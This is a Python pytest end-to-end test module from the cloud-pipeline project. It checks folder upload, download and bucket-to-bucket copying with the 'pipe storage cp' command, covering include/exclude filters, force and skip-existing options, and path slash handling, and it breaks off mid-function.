] | null | null | null | e2e/cli/buckets/cp/test_cp_with_folders.py | msleprosy/cloud-pipeline | bccc2b196fad982380efc37a1c3785098bec6c85 | [
"Apache-2.0"
] | 12 | 2019-08-13T08:36:33.000Z | 2019-10-01T12:04:31.000Z | e2e/cli/buckets/cp/test_cp_with_folders.py | msleprosy/cloud-pipeline | bccc2b196fad982380efc37a1c3785098bec6c85 | [
"Apache-2.0"
] | 2 | 2019-08-09T18:04:54.000Z | 2019-08-11T19:03:06.000Z | # Copyright 2017-2019 EPAM Systems, Inc. (https://www.epam.com/)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from ..utils.assertions_utils import *
from ..utils.file_utils import *
from ..utils.utilities_for_test import *
class TestCopyWithFolders(object):
bucket_name = "epmcmbibpc-it-cp-folders{}".format(get_test_prefix())
other_bucket_name = "{}-other".format(bucket_name)
current_directory = os.getcwd()
home_dir = "test_cp_home_dir-597%s/" % get_test_prefix()
checkout_dir = "checkout/"
output_folder = "cp-folders-" + TestFiles.TEST_FOLDER_FOR_OUTPUT
test_file_1 = "cp-folders-" + TestFiles.TEST_FILE1
test_file_with_other_extension = "cp-folders-" + TestFiles.TEST_FILE_WITH_OTHER_EXTENSION
test_file_2 = "cp-folders-" + TestFiles.TEST_FILE2
test_folder = "cp-folders-" + TestFiles.TEST_FOLDER
test_folder_2 = "cp-folders-" + TestFiles.TEST_FOLDER2
test_folder_structure = "cp-folders-structure"
test_folder_structure_output = "cp-folders-structure-output"
@classmethod
def setup_class(cls):
logging.basicConfig(filename='tests.log', level=logging.INFO,
format='%(levelname)s %(asctime)s %(module)s:%(message)s')
create_buckets(cls.bucket_name, cls.other_bucket_name)
# /test_folder
create_test_folder(os.path.abspath(cls.test_folder))
# /cp-files-test_folder_for_outputs
create_test_folder(os.path.abspath(cls.output_folder))
# ./test_file.txt
create_test_file(os.path.abspath(cls.test_file_1), TestFiles.DEFAULT_CONTENT)
# ./test_folder/test_file.txt
create_test_file(os.path.abspath(cls.test_folder + cls.test_file_1), TestFiles.DEFAULT_CONTENT)
# ./test_folder/test_file.json
create_test_file(os.path.abspath(cls.test_folder + cls.test_file_with_other_extension),
TestFiles.DEFAULT_CONTENT)
# ./test_folder/other/test_file.txt
create_test_file(os.path.abspath(cls.test_folder + cls.test_folder + cls.test_file_1),
TestFiles.DEFAULT_CONTENT)
# ./test_file2.txt
create_test_file(os.path.abspath(cls.test_file_2), TestFiles.COPY_CONTENT)
# ~/test_cp_home_dir/test_file.txt
create_test_file(os.path.join(os.path.expanduser('~'), cls.home_dir, cls.test_file_1),
TestFiles.DEFAULT_CONTENT)
# ~/test_cp_home_dir/other/test_file.txt
create_test_file(os.path.join(os.path.expanduser('~'), cls.home_dir, cls.test_folder,
cls.test_file_1), TestFiles.DEFAULT_CONTENT)
# /test_folder_structure
create_test_folder(os.path.abspath(cls.test_folder_structure))
# /test_folder_structure/test_folder/
create_test_folder(os.path.join(os.path.abspath(cls.test_folder_structure), cls.test_folder))
# /test_folder_structure/other/
create_test_folder(os.path.join(os.path.abspath(cls.test_folder_structure), cls.test_folder_2))
# /test_folder_structure/test_folder/test_file.txt
create_test_file(os.path.join(os.path.abspath(cls.test_folder_structure), cls.test_folder, cls.test_file_1),
TestFiles.DEFAULT_CONTENT)
# /test_folder_structure/other/test_file.txt
create_test_file(os.path.join(os.path.abspath(cls.test_folder_structure), cls.test_folder_2, cls.test_file_1),
TestFiles.DEFAULT_CONTENT)
# /test_folder_structure_output
create_test_folder(os.path.abspath(cls.test_folder_structure_output))
@classmethod
def teardown_class(cls):
delete_buckets(cls.bucket_name, cls.other_bucket_name)
clean_test_data(os.path.abspath(cls.test_file_1))
clean_test_data(os.path.abspath(cls.test_file_2))
clean_test_data(os.path.abspath(cls.test_folder))
clean_test_data(os.path.abspath(cls.output_folder))
clean_test_data(os.path.join(os.path.expanduser('~'), cls.home_dir))
clean_test_data(os.path.abspath(cls.checkout_dir))
clean_test_data(os.path.abspath(cls.test_folder_structure))
clean_test_data(os.path.abspath(cls.test_folder_structure_output))
"""
1. epam test case
2. source path
3. with --force option
4. flag if need to switch current directory
"""
test_case_for_upload_folders = [
("EPMCMBIBPC-596", os.path.abspath(test_folder), False, None),
("EPMCMBIBPC-597", "~/" + home_dir, None, None),
("EPMCMBIBPC-598", "./" + test_folder, False, None),
("EPMCMBIBPC-598-1", "./", False, True),
("EPMCMBIBPC-598-2", ".", False, True),
("EPMCMBIBPC-599", os.path.abspath(test_folder) + "/", True, None),
]
@pytest.mark.run(order=1)
@pytest.mark.parametrize("case,source,force,switch_dir", test_case_for_upload_folders)
def test_folder_should_be_uploaded(self, case, source, force, switch_dir):
destination = "cp://{}/{}/".format(self.bucket_name, case)
if force:
create_test_files_on_bucket(os.path.abspath(self.test_file_2), self.bucket_name,
os.path.join(case, self.test_file_1),
os.path.join(case, self.test_folder, self.test_file_1))
if source.startswith("~"):
source_to_check = os.path.join(os.path.expanduser('~'), source.strip("~/"))
else:
source_to_check = source
if switch_dir:
dir_path = os.path.abspath(os.path.join(self.checkout_dir))
create_test_files(TestFiles.DEFAULT_CONTENT, os.path.join(dir_path, self.test_file_1),
os.path.join(dir_path, self.test_folder, self.test_file_1))
os.chdir(dir_path)
logging.info("Ready to perform operation from {} to {}".format(source, destination))
pipe_storage_cp(source, destination, force=force, recursive=True)
assert_copied_object_info(ObjectInfo(True).build(os.path.join(source_to_check, self.test_file_1)),
ObjectInfo(False).build(self.bucket_name, os.path.join(case, self.test_file_1)),
case)
assert_copied_object_info(ObjectInfo(True).build(os.path.join(source_to_check, self.test_folder,
self.test_file_1)),
ObjectInfo(False).build(self.bucket_name, os.path.join(
case, self.test_folder + self.test_file_1)), case)
os.chdir(self.current_directory)
"""
1. epam test case
2. source path
3. path to directory if need to switch current directory
4. relative path to file to rewrite (with --force option)
"""
test_case_for_download_folders = [
("EPMCMBIBPC-596", os.path.abspath(output_folder + "EPMCMBIBPC-596") + "/", None, None),
("EPMCMBIBPC-597", "~/" + home_dir + output_folder, None, None),
("EPMCMBIBPC-598", "./" + output_folder + "EPMCMBIBPC-598/", None, None),
("EPMCMBIBPC-598-1", "./", None, True),
("EPMCMBIBPC-598-2", ".", None, True),
("EPMCMBIBPC-599", os.path.abspath(output_folder + "EPMCMBIBPC-599") + "/", True, None),
]
@pytest.mark.run(order=2)
@pytest.mark.parametrize("case,destination,force,switch_dir", test_case_for_download_folders)
def test_folder_should_be_downloaded(self, case, destination, force, switch_dir):
source = "cp://{}/{}/".format(self.bucket_name, case)
if force:
create_test_file(destination + self.test_file_1, TestFiles.COPY_CONTENT)
assert os.path.exists(destination + self.test_file_1), \
"Test file {} does not exist".format(destination + self.test_file_1)
create_test_file(destination + self.test_folder + self.test_file_1, TestFiles.COPY_CONTENT)
assert os.path.exists(destination + self.test_folder + self.test_file_1), \
"Test file {} does not exist".format(destination + self.test_folder + self.test_file_1)
if destination.startswith("~"):
destination_to_check = os.path.join(os.path.expanduser('~'), destination.strip("~/"))
else:
destination_to_check = destination
if switch_dir:
dir_path = os.path.abspath(os.path.join(destination, self.checkout_dir, case))
create_test_folder(dir_path)
os.chdir(dir_path)
logging.info("Ready to perform operation from {} to {}".format(source, destination))
pipe_storage_cp(source, destination, force=force, recursive=True)
assert_copied_object_info(ObjectInfo(False).build(self.bucket_name, "{}/{}".format(case, self.test_file_1)),
ObjectInfo(True).build(os.path.join(destination_to_check, self.test_file_1)),
case)
assert_copied_object_info(ObjectInfo(False).build(self.bucket_name, "{}/{}".format(
case, self.test_folder + self.test_file_1)),
ObjectInfo(True).build(os.path.join(destination_to_check, self.test_folder,
self.test_file_1)),
case)
os.chdir(self.current_directory)
"""
1. epam test case
2. --force option
"""
test_case_for_copy_between_buckets_folders = [
("EPMCMBIBPC-596", False),
("EPMCMBIBPC-599", True),
]
@pytest.mark.run(order=3)
@pytest.mark.parametrize("case,force", test_case_for_copy_between_buckets_folders)
def test_folder_should_be_copied(self, case, force):
source = "cp://{}/{}/".format(self.bucket_name, case)
destination = "cp://{}/{}/".format(self.other_bucket_name, case)
if force:
create_test_files_on_bucket(os.path.abspath(self.test_file_2), self.other_bucket_name,
os.path.join(case, self.test_file_1),
os.path.join(case, self.test_folder, self.test_file_1))
logging.info("Ready to perform operation from {} to {}".format(source, destination))
pipe_storage_cp(source, destination, force=force, recursive=True)
assert_copied_object_info(ObjectInfo(False).build(self.bucket_name, os.path.join(case, self.test_file_1)),
ObjectInfo(False).build(self.other_bucket_name,
os.path.join(case, self.test_file_1)), case)
assert_copied_object_info(ObjectInfo(False).build(self.bucket_name, os.path.join(
case, self.test_folder, self.test_file_1)),
ObjectInfo(False).build(self.other_bucket_name, os.path.join(
case, self.test_folder, self.test_file_1)), case)
@pytest.mark.run(order=1)
def test_excluded_files_should_be_uploaded(self):
source = os.path.abspath(self.test_folder)
case = "EPMCMBIBPC-604-1"
destination = "cp://{}/{}/".format(self.bucket_name, case)
logging.info("Ready to perform operation from {} to {}".format(source, destination))
pipe_storage_cp(source, destination, recursive=True, exclude=["*json", "{}*".format(self.test_folder)],
expected_status=0)
assert_copied_object_info(ObjectInfo(True).build(os.path.join(source, self.test_file_1)),
ObjectInfo(False).build(self.bucket_name, os.path.join(case, self.test_file_1)),
case)
assert_copied_object_does_not_exist(ObjectInfo(False).build(self.bucket_name, os.path.join(
case, self.test_folder, self.test_file_1)),
case)
assert_copied_object_does_not_exist(ObjectInfo(False).build(self.bucket_name, os.path.join(
case, self.test_file_with_other_extension)),
case)
@pytest.mark.run(order=2)
def test_excluded_files_should_be_downloaded(self):
case = "EPMCMBIBPC-604-2"
source = "cp://{}/{}/".format(self.bucket_name, case)
key_file_1 = os.path.join(case, self.test_file_1)
key_file_2 = os.path.join(case, self.test_file_with_other_extension)
key_file_folder = os.path.join(case, self.test_folder, self.test_file_1)
create_test_files_on_bucket(self.test_file_1, self.bucket_name, key_file_1, key_file_2, key_file_folder)
destination = os.path.abspath(os.path.join(self.output_folder, case))
logging.info("Ready to perform operation from {} to {}".format(source, destination))
pipe_storage_cp(source, destination, recursive=True, exclude=["*json", "{}*".format(self.test_folder)],
expected_status=0)
assert_copied_object_info(ObjectInfo(False).build(self.bucket_name, key_file_1),
ObjectInfo(True).build(os.path.join(destination, self.test_file_1)),
case)
assert_copied_object_does_not_exist(ObjectInfo(True).build(os.path.join(destination, self.test_folder,
self.test_file_1)), case)
assert_copied_object_does_not_exist(ObjectInfo(True).build(os.path.join(
destination, self.test_file_with_other_extension)), case)
@pytest.mark.run(order=3)
def test_excluded_files_should_be_copied(self):
case = "EPMCMBIBPC-604-3"
source = "cp://{}/{}/".format(self.bucket_name, case)
key_file_1 = os.path.join(case, self.test_file_1)
key_file_2 = os.path.join(case, self.test_file_with_other_extension)
key_file_folder = os.path.join(case, self.test_folder, self.test_file_1)
create_test_files_on_bucket(self.test_file_1, self.bucket_name, key_file_1, key_file_2, key_file_folder)
destination = "cp://{}/{}/".format(self.other_bucket_name, case)
logging.info("Ready to perform operation from {} to {}".format(source, destination))
pipe_storage_cp(source, destination, recursive=True, exclude=["*json", "{}*".format(self.test_folder)],
expected_status=0)
assert_copied_object_info(ObjectInfo(False).build(self.bucket_name, key_file_1),
ObjectInfo(False).build(self.other_bucket_name, key_file_1), case)
assert_copied_object_does_not_exist(ObjectInfo(False).build(self.other_bucket_name, key_file_folder), case)
assert_copied_object_does_not_exist(ObjectInfo(False).build(self.other_bucket_name, key_file_2),
case)
@pytest.mark.run(order=1)
def test_included_files_should_be_uploaded(self):
source = os.path.abspath(self.test_folder)
case = "EPMCMBIBPC-630-1"
destination = "cp://{}/{}/".format(self.bucket_name, case)
logging.info("Ready to perform operation from {} to {}".format(source, destination))
pipe_storage_cp(source, destination, recursive=True, include=["*json"],
expected_status=0)
assert_copied_object_info(
ObjectInfo(True).build(os.path.join(source, self.test_file_with_other_extension)),
ObjectInfo(False).build(self.bucket_name, os.path.join(case, self.test_file_with_other_extension)),
case)
assert_copied_object_does_not_exist(
ObjectInfo(False).build(self.bucket_name, os.path.join(case, self.test_folder, self.test_file_1)),
case)
assert_copied_object_does_not_exist(ObjectInfo(False).build(
self.bucket_name, os.path.join(case, self.test_file_1)), case)
@pytest.mark.run(order=2)
def test_included_files_should_be_downloaded(self):
case = "EPMCMBIBPC-630-2"
source = "cp://{}/{}/".format(self.bucket_name, case)
key_file_1 = os.path.join(case, self.test_file_1)
key_file_2 = os.path.join(case, self.test_file_with_other_extension)
key_file_folder = os.path.join(case, self.test_folder, self.test_file_1)
create_test_files_on_bucket(self.test_file_1, self.bucket_name, key_file_1, key_file_2, key_file_folder)
destination = os.path.abspath(os.path.join(self.output_folder, case))
logging.info("Ready to perform operation from {} to {}".format(source, destination))
pipe_storage_cp(source, destination, recursive=True, include=["*json"], expected_status=0)
assert_copied_object_info(ObjectInfo(False).build(self.bucket_name, key_file_2),
ObjectInfo(True).build(os.path.join(destination,
self.test_file_with_other_extension)), case)
assert_copied_object_does_not_exist(ObjectInfo(True).build(os.path.join(destination, self.test_folder,
self.test_file_1)), case)
assert_copied_object_does_not_exist(ObjectInfo(True).build(os.path.join(destination, case, self.test_file_1)),
case)
@pytest.mark.run(order=3)
def test_included_files_be_copied(self):
case = "EPMCMBIBPC-630-3"
source = "cp://{}/{}/".format(self.bucket_name, case)
destination = "cp://{}/{}/".format(self.other_bucket_name, case)
key_file_1 = os.path.join(case, self.test_file_1)
key_file_2 = os.path.join(case, self.test_file_with_other_extension)
key_file_folder = os.path.join(case, self.test_folder, self.test_file_1)
create_test_files_on_bucket(self.test_file_1, self.bucket_name, key_file_1, key_file_2, key_file_folder)
logging.info("Ready to perform operation from {} to {}".format(source, destination))
pipe_storage_cp(source, destination, recursive=True, include=["*json"], expected_status=0)
assert_copied_object_info(ObjectInfo(False).build(self.bucket_name, key_file_2),
ObjectInfo(False).build(self.other_bucket_name, key_file_2), case)
assert_copied_object_does_not_exist(ObjectInfo(False).build(self.other_bucket_name, key_file_folder), case)
assert_copied_object_does_not_exist(ObjectInfo(False).build(self.other_bucket_name, key_file_1), case)
@pytest.mark.run(order=1)
def test_included_excluded_files_should_be_uploaded(self):
source = os.path.abspath(self.test_folder)
case = "EPMCMBIBPC-631-1"
destination = "cp://{}/{}/".format(self.bucket_name, case)
logging.info("Ready to perform operation from {} to {}".format(source, destination))
pipe_storage_cp(source, destination, recursive=True, include=["*txt"],
exclude=["{}*".format(self.test_folder)], expected_status=0)
assert_copied_object_info(
ObjectInfo(True).build(os.path.join(source, self.test_file_1)),
ObjectInfo(False).build(self.bucket_name, os.path.join(case, self.test_file_1)), case)
assert_copied_object_does_not_exist(
ObjectInfo(False).build(self.bucket_name, os.path.join(case, self.test_folder,
self.test_file_with_other_extension)), case)
assert_copied_object_does_not_exist(ObjectInfo(False).build(
self.bucket_name, os.path.join(case, self.test_file_with_other_extension)), case)
@pytest.mark.run(order=2)
def test_included_excluded_files_should_be_downloaded(self):
case = "EPMCMBIBPC-631-2"
source = "cp://{}/{}/".format(self.bucket_name, case)
key_file_1 = os.path.join(case, self.test_file_1)
key_file_2 = os.path.join(case, self.test_file_with_other_extension)
key_file_folder = os.path.join(case, self.test_folder, self.test_file_1)
create_test_files_on_bucket(self.test_file_1, self.bucket_name, key_file_1, key_file_2, key_file_folder)
destination = os.path.abspath(os.path.join(self.output_folder, case))
logging.info("Ready to perform operation from {} to {}".format(source, destination))
pipe_storage_cp(source, destination, recursive=True, include=["*txt"],
exclude=["{}*".format(self.test_folder)], expected_status=0)
assert_copied_object_info(ObjectInfo(False).build(self.bucket_name, key_file_1),
ObjectInfo(True).build(os.path.join(destination, self.test_file_1)), case)
assert_copied_object_does_not_exist(ObjectInfo(True).build(os.path.join(
destination, self.test_folder, self.test_file_1)), case)
assert_copied_object_does_not_exist(ObjectInfo(True).build(os.path.join(
destination, self.test_file_with_other_extension)), case)
@pytest.mark.run(order=3)
def test_included_excluded_files_be_copied(self):
case = "EPMCMBIBPC-631-3"
source = "cp://{}/{}/".format(self.bucket_name, case)
destination = "cp://{}/{}/".format(self.other_bucket_name, case)
key_file_1 = os.path.join(case, self.test_file_1)
key_file_2 = os.path.join(case, self.test_file_with_other_extension)
key_file_folder = os.path.join(case, self.test_folder, self.test_file_1)
create_test_files_on_bucket(self.test_file_1, self.bucket_name, key_file_1, key_file_2, key_file_folder)
logging.info("Ready to perform operation from {} to {}".format(source, destination))
pipe_storage_cp(source, destination, recursive=True, include=["*txt"],
exclude=["{}*".format(self.test_folder)], expected_status=0)
assert_copied_object_info(ObjectInfo(False).build(self.bucket_name, key_file_1),
ObjectInfo(False).build(self.other_bucket_name, key_file_1), case)
assert_copied_object_does_not_exist(ObjectInfo(False).build(self.other_bucket_name, key_file_folder), case)
assert_copied_object_does_not_exist(ObjectInfo(False).build(self.other_bucket_name, key_file_2), case)
@pytest.mark.run(order=4)
def test_upload_without_recursive(self):
case = "EPMCMBIBPC-662"
source = os.path.abspath(self.test_folder)
destination = "cp://{}/".format(os.path.join(self.bucket_name, case))
error_text = pipe_storage_cp(source, destination, expected_status=1)[1]
assert_error_message_is_present(error_text, "Flag --recursive (-r) is required to copy folders.")
assert_copied_object_does_not_exist(ObjectInfo(False).build(self.bucket_name,
os.path.join(case, self.test_file_1)), case)
assert_copied_object_does_not_exist(ObjectInfo(False).build(self.bucket_name,
os.path.join(case, self.test_folder,
self.test_file_1)), case)
@pytest.mark.run(order=5)
def test_download_without_recursive(self):
case = "EPMCMBIBPC-662"
source = "cp://{}/".format(os.path.join(self.bucket_name, case))
create_test_files_on_bucket(self.test_file_1, self.bucket_name, os.path.join(case, self.test_file_1),
os.path.join(case, self.test_folder, self.test_file_1))
destination = os.path.abspath(self.output_folder + case) + "/"
error_text = pipe_storage_cp(source, destination, expected_status=1)[1]
assert_error_message_is_present(error_text, "Flag --recursive (-r) is required to copy folders.")
assert_copied_object_does_not_exist(ObjectInfo(True).build(os.path.join(destination, self.test_folder,
self.test_file_1)), case)
assert_copied_object_does_not_exist(ObjectInfo(True).build(os.path.join(destination, self.test_file_1)),
case)
@pytest.mark.run(order=6)
def test_copy_without_recursive(self):
case = "EPMCMBIBPC-662"
source = "cp://{}/".format(os.path.join(self.bucket_name, case))
destination = "cp://{}/".format(os.path.join(self.other_bucket_name, case))
error_text = pipe_storage_cp(source, destination, expected_status=1)[1]
assert_error_message_is_present(error_text, "Flag --recursive (-r) is required to copy folders.")
assert_copied_object_does_not_exist(ObjectInfo(True).build(os.path.join(destination, self.test_folder,
self.test_file_1)), case)
assert_copied_object_does_not_exist(ObjectInfo(True).build(os.path.join(destination, self.test_file_1)),
case)
@pytest.mark.run(order=6)
def test_copy_to_bucket_root(self):
case = "EPMCMBIBPC-1969"
source = os.path.abspath(self.test_folder)
destination = "cp://%s/" % self.bucket_name
logging.info("Test case: %s. Ready to perform operation from %s to %s" % (case, source, destination))
pipe_storage_cp(source, destination, recursive=True, force=True)
assert_copied_object_info(ObjectInfo(True).build(os.path.join(source, self.test_file_1)),
ObjectInfo(False).build(self.bucket_name, self.test_file_1), case)
assert_copied_object_info(ObjectInfo(True).build(os.path.join(source, self.test_folder, self.test_file_1)),
ObjectInfo(False).build(self.bucket_name, self.test_folder + self.test_file_1), case)
@pytest.mark.run(order=6)
def test_copy_file_to_bucket_with_folder_with_same_name(self):
case = "EPMCMBIBPC-1970"
try:
pipe_storage_cp(os.path.abspath(self.test_file_1), "cp://%s/%s/%s/" % (self.bucket_name, case,
self.test_file_1))
assert object_exists(self.bucket_name, "%s/%s/%s" % (case, self.test_file_1, self.test_file_1))
pipe_storage_cp(os.path.abspath(self.test_file_1), "cp://%s/%s/" % (self.bucket_name, case))
assert object_exists(self.bucket_name, "%s/%s" % (case, self.test_file_1))
except BaseException as e:
pytest.fail("Test case {} failed. {}".format(case, e.message))
@pytest.mark.run(order=6)
def test_copy_folder_structure(self):
case = "EPMCMBIBPC-1971-1972"
source = os.path.abspath(self.test_folder_structure)
destination = "cp://%s/%s/" % (self.bucket_name, case)
logging.info("Test case: %s. Ready to perform operation from %s to %s" % (case, source, destination))
try:
pipe_storage_cp(source, destination, recursive=True)
assert object_exists(self.bucket_name, os.path.join(case, self.test_folder, self.test_file_1))
assert object_exists(self.bucket_name, os.path.join(case, self.test_folder_2, self.test_file_1))
source = destination
destination = os.path.abspath(self.test_folder_structure_output) + "/"
logging.info("Test case: %s. Ready to perform operation from %s to %s" % (case, source, destination))
pipe_storage_cp(source, destination, recursive=True, expected_status=0)
assert_copied_object_info(ObjectInfo(False).build(self.bucket_name,
os.path.join(case, self.test_folder, self.test_file_1)),
ObjectInfo(True).build(os.path.join(destination, self.test_folder,
self.test_file_1)), case)
assert_copied_object_info(ObjectInfo(False).build(self.bucket_name,
os.path.join(case, self.test_folder_2, self.test_file_1)),
ObjectInfo(True).build(os.path.join(destination, self.test_folder_2,
self.test_file_1)), case)
except BaseException as e:
pytest.fail("Test case {} failed. {}".format(case, e.message))
@pytest.mark.run(order=6)
def test_upload_file_to_not_empty_folder(self):
test_case = "EPMCMBIBPC-1978"
try:
source1 = "cp://{}/{}/{}".format(self.bucket_name, test_case, self.test_file_1)
pipe_storage_cp(os.path.abspath(self.test_file_1), source1, expected_status=0)
assert object_exists(self.bucket_name, "%s/%s" % (test_case, self.test_file_1))
source2 = "cp://{}/{}/".format(self.bucket_name, test_case)
pipe_storage_cp(os.path.abspath(self.test_file_2), source2, expected_status=0)
assert object_exists(self.bucket_name, "%s/%s" % (test_case, self.test_file_2))
except BaseException as e:
pytest.fail("Test case {} failed. {}".format(test_case, e.message))
@pytest.mark.run(order=6)
def test_upload_folders_with_similar_keys(self):
case = "EPMCMBIBPC-2007"
source_folder = os.path.abspath(os.path.join(self.test_folder, case))
test_folder1 = "folder"
test_folder2 = "folder2"
try:
create_test_folder(source_folder)
create_test_folder(os.path.join(source_folder, test_folder1))
create_test_folder(os.path.join(source_folder, test_folder2))
create_test_file(os.path.join(source_folder, test_folder1, self.test_file_1), TestFiles.DEFAULT_CONTENT)
create_test_file(os.path.join(source_folder, test_folder2, self.test_file_2), TestFiles.COPY_CONTENT)
pipe_storage_cp(os.path.join(source_folder, test_folder1), "cp://%s/%s/" % (self.bucket_name, case),
recursive=True)
assert object_exists(self.bucket_name, os.path.join(case, self.test_file_1))
assert not object_exists(self.bucket_name, os.path.join(case, self.test_file_2))
except BaseException as e:
pytest.fail("Test case {} failed. {}".format(case, e.message))
@pytest.mark.run(order=6)
def test_download_folders_with_similar_keys(self):
case = "EPMCMBIBPC-2008"
try:
pipe_storage_cp(os.path.abspath(self.test_file_1), "cp://%s/%s/folder/" % (self.bucket_name, case))
assert object_exists(self.bucket_name, os.path.join(case, "folder", self.test_file_1))
pipe_storage_cp(os.path.abspath(self.test_file_2), "cp://%s/%s/folder2/" % (self.bucket_name, case))
assert object_exists(self.bucket_name, os.path.join(case, "folder2", self.test_file_2))
pipe_storage_cp("cp://%s/%s/folder" % (self.bucket_name, case),
"%s/" % os.path.join(self.output_folder, case), recursive=True)
assert os.path.exists(os.path.abspath(os.path.join(self.output_folder, case, self.test_file_1)))
assert not os.path.exists(os.path.abspath(
os.path.join(self.output_folder, case, self.test_file_2)))
except BaseException as e:
pytest.fail("Test case {} failed. {}".format(case, e.message))
test_case_for_upload_with_slash = [("EPMCMBIBPC-2159-1", True, True), ("EPMCMBIBPC-2159-2", True, False),
("EPMCMBIBPC-2159-3", False, False), ("EPMCMBIBPC-2159-4", False, True)]
@pytest.mark.run(order=6)
@pytest.mark.parametrize("case,has_destination_slash,has_source_slash", test_case_for_upload_with_slash)
def test_folder_with_slash_should_upload_content_only(self, case, has_destination_slash, has_source_slash):
source = os.path.abspath(self.test_folder)
destination = "cp://%s/%s" % (self.bucket_name, case)
source, destination = prepare_paths_with_slash(source, destination, has_source_slash, has_destination_slash)
try:
pipe_storage_cp(source, destination, recursive=True)
assert object_exists(self.bucket_name, os.path.join(case, self.test_file_1))
assert object_exists(self.bucket_name, os.path.join(case, self.test_file_with_other_extension))
assert object_exists(self.bucket_name, os.path.join(case, self.test_folder, self.test_file_1))
except BaseException as e:
pytest.fail("Test case {} failed. {}".format(case, e.message))
test_case_for_download_with_slash = [("EPMCMBIBPC-2200-1", True, True), ("EPMCMBIBPC-2200-2", True, False),
("EPMCMBIBPC-2200-3", False, False), ("EPMCMBIBPC-2200-4", False, True)]
@pytest.mark.run(order=6)
@pytest.mark.parametrize("case,has_destination_slash,has_source_slash", test_case_for_download_with_slash)
def test_folder_with_slash_should_download_content_only(self, case, has_destination_slash, has_source_slash):
source = "cp://%s/%s" % (self.bucket_name, case)
destination = os.path.abspath(os.path.join(self.output_folder, case))
source, destination = prepare_paths_with_slash(source, destination, has_source_slash, has_destination_slash)
try:
self._create_folder_on_bucket(case)
pipe_storage_cp(source, destination, recursive=True)
assert os.path.exists(os.path.join(destination, self.test_file_1))
assert os.path.exists(os.path.join(destination, self.test_file_with_other_extension))
assert os.path.exists(os.path.join(destination, self.test_folder, self.test_file_1))
except BaseException as e:
pytest.fail("Test case {} failed. {}".format(case, e.message))
test_case_for_copy_between_buckets_with_slash = [("EPMCMBIBPC-2201-1", True, True),
("EPMCMBIBPC-2201-2", True, False),
("EPMCMBIBPC-2201-3", False, False),
("EPMCMBIBPC-2201-4", False, True)]
@pytest.mark.run(order=6)
@pytest.mark.parametrize("case,has_destination_slash,has_source_slash",
test_case_for_copy_between_buckets_with_slash)
def test_folder_with_slash_should_copy_between_buckets_content_only(self, case, has_destination_slash,
has_source_slash):
source = "cp://%s/%s" % (self.bucket_name, case)
destination = "cp://%s/%s" % (self.other_bucket_name, case)
source, destination = prepare_paths_with_slash(source, destination, has_source_slash, has_destination_slash)
try:
self._create_folder_on_bucket(case)
pipe_storage_cp(source, destination, recursive=True)
assert object_exists(self.other_bucket_name, os.path.join(case, self.test_file_1))
assert object_exists(self.other_bucket_name, os.path.join(case, self.test_file_with_other_extension))
assert object_exists(self.other_bucket_name, os.path.join(case, self.test_folder, self.test_file_1))
except BaseException as e:
pytest.fail("Test case {} failed. {}".format(case, e.message))
@pytest.mark.run(order=6)
def test_upload_folder_with_skip_existing_option_should_skip(self):
case = "EPMCMBIBPC-2162"
key = os.path.join(case, self.test_file_1)
source = os.path.abspath(self.test_folder)
destination = "cp://%s/%s" % (self.bucket_name, case)
try:
expected = create_file_on_bucket(self.bucket_name, key,
os.path.abspath(os.path.join(self.test_folder, self.test_file_1)))
pipe_storage_cp(source, destination, force=True, recursive=True, skip_existing=True)
assert object_exists(self.bucket_name, key)
assert object_exists(self.bucket_name, os.path.join(case, self.test_file_with_other_extension))
assert object_exists(self.bucket_name, os.path.join(case, self.test_folder, self.test_file_1))
actual = ObjectInfo(False).build(self.bucket_name, key)
assert expected.size == actual.size, \
"Sizes must be the same.\nExpected %s\nActual %s" % (expected.size, actual.size)
assert expected.last_modified == actual.last_modified, \
"Last modified time of destination and source file must be the same.\n" \
"Expected %s\nActual %s".format(expected.last_modified, actual.last_modified)
except BaseException as e:
pytest.fail("Test case {} failed. {}".format(case, e.message))
@pytest.mark.run(order=6)
def test_upload_folder_with_skip_existing_option_should_not_skip(self):
case = "EPMCMBIBPC-2163"
key1 = os.path.join(case, self.test_file_1)
source = os.path.abspath(self.test_folder)
destination = "cp://%s/%s" % (self.bucket_name, case)
try:
expected = create_file_on_bucket(self.bucket_name, key1, os.path.abspath(self.test_file_2))
pipe_storage_cp(source, destination, force=True, recursive=True, skip_existing=True)
assert object_exists(self.bucket_name, key1)
assert object_exists(self.bucket_name, os.path.join(case, self.test_file_with_other_extension))
assert object_exists(self.bucket_name, os.path.join(case, self.test_folder, self.test_file_1))
actual = ObjectInfo(False).build(self.bucket_name, key1)
assert not expected.size == actual.size, "Sizes must be the different."
assert not expected.last_modified == actual.last_modified, \
"Last modified time of destination and source file must be different."
except BaseException as e:
pytest.fail("Test case {} failed. {}".format(case, e.message))
@pytest.mark.run(order=6)
def test_download_folder_with_skip_existing_option_should_skip(self):
case = "EPMCMBIBPC-2182"
destination_folder = os.path.abspath(os.path.join(self.output_folder, case))
destination1 = os.path.join(destination_folder, self.test_file_1)
destination2 = os.path.join(destination_folder, self.test_file_2)
source_folder = "cp://%s/%s/" % (self.bucket_name, case)
try:
create_test_file(destination1, TestFiles.DEFAULT_CONTENT)
expected = ObjectInfo(True).build(destination1)
pipe_storage_cp(os.path.abspath(self.test_file_1), source_folder)
pipe_storage_cp(os.path.abspath(self.test_file_2), source_folder)
assert object_exists(self.bucket_name, os.path.join(case, self.test_file_1))
assert object_exists(self.bucket_name, os.path.join(case, self.test_file_2))
pipe_storage_cp(source_folder, destination_folder, force=True, recursive=True, skip_existing=True)
assert os.path.exists(destination1)
assert os.path.exists(destination2)
actual = ObjectInfo(True).build(destination1)
assert expected.size == actual.size, \
"Sizes must be the same.\nExpected %s\nActual %s" % (expected.size, actual.size)
assert expected.last_modified == actual.last_modified, \
"Last modified time of destination and source file must be the same.\n" \
"Expected %s\nActual %s".format(expected.last_modified, actual.last_modified)
except BaseException as e:
pytest.fail("Test case {} failed. {}".format(case, e.message))
@pytest.mark.run(order=6)
def test_download_folder_with_skip_existing_option_should_not_skip(self):
case = "EPMCMBIBPC-2184"
destination_folder = os.path.abspath(os.path.join(self.output_folder, case))
destination1 = os.path.join(destination_folder, self.test_file_1)
destination2 = os.path.join(destination_folder, self.test_file_2)
